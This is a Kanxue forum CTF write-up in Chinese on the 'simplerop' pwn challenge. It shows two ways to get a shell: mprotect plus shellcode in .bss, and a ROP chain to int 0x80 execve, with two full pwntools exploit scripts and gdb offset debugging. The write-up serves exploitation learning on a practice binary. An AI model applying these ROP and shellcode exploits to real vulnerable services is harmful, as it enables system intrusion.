
本文為看雪論壇優秀文章看雪論壇作者ID:N1co5in3
本題為除ret2libc外的兩種getshell方式的展示:int80與mprotect改寫權限。學習了非常規棧位移的調試:在elf文件比較奇怪時,要用gdb進行位移調試。
函數很多,沒有打印函數的plt,無法ret2libc。
主函數可溢出:
存在mprotect,可以改變bss權限後,在bss寫入shell代碼。
存在int 0x80,可以調整寄存器利用中斷執行sh。
因此本題有兩種思路。
方法一:先用mprotect改寫bss段權限,用read函數在bss段寫入shell代碼。
方法二:由於文件中沒用binsh字符串,先用read函數在bss段寫入『/bin/sh』,再調整寄存器執行exec函數。
先找bss段位置。
mprotect參數如下,實際操作時len取0x1000,addr要略比實際靠前,取0x80ef00,prot取二進制111,即為7。int 80(eax,ebx,ecx,edx):eax為11,ebx為』/bin/sh』地址,ecx,edx缺省。此題棧比較奇怪,與ida不符,需要自己調試,下面是調試技術的展示。
gdb斷點應該更直觀。
得到ret地址位移為0x20,考慮原因:這道題應該不是我們平常做的c語言編譯器得到的,elf結構比較奇怪,所以棧也有所不同。
from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50#pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850#int80_addr = 0x80493e1binsh_addr = 0x80eaf80mprotect_addr = 0x806d870#binsh_addr = 0x80eb584 payload = b'a'*0x20 + p32(mprotect_addr) + p32(pop_edx_ecx_ebx) + p32(0x80ea000) + p32(0x1000) + p32(7)payload += p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x100)payload += p32(binsh_addr) io.sendlineafter('it',payload)sleep(0.2) payload2 = asm(shellcraft.sh())io.sendline(payload2) io.interactive()from pwn import *context.log_level = 'debug'context.arch = 'i386' io = process('./simplerop')#io = remote('node4.buuoj.cn',25205)elf = ELF('./simplerop')main_addr = 0x8048e26read_addr = 0x806cd50pop_eax = 0x80bae06pop_edx_ecx_ebx = 0x806e850pop_ebx = 0x80481c9int80_addr = 0x80493e1binsh_addr = 0x80eaf80#binsh_addr = 0x80eb584 payload = b'a' * 0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)payload += p32(pop_eax) + p32(11) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) +p32(binsh_addr) + p32(int80_addr)#payload += p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(binsh_addr) + p32(int80_addr)io.sendline(payload)io.sendline(b'/bin/sh\x00') io.interactive()未解決的問題1:法二中,網上payload設置binsh的地址,不能在本地調試到結果(遠程卻可以),報錯「set_thread_area failed」,但binsh地址改為bss地址本地成功。未解決的問題2:法二中,ecx,edx應該是可以缺省的,但我只pop_ebx就會報錯「set_thread_area failed」。希望有師傅可以交流解決上述問題!
看雪ID:N1co5in3
https://bbs.pediy.com/user-home-945391.htm
*本文由看雪論壇 N1co5in3原創,轉載請註明來自看雪社區#往期推薦
1.一種將LLVM Pass集成到NDK中的通用方法
2.人工智能競賽-房價預測
3.Windows PrintNightmare 漏洞復現分析
4.殼小白關於壓縮殼的學習心得及基礎實戰練習
5.Windows平台下棧溢出漏洞學習筆記
6.GKCTF2021 KillerAid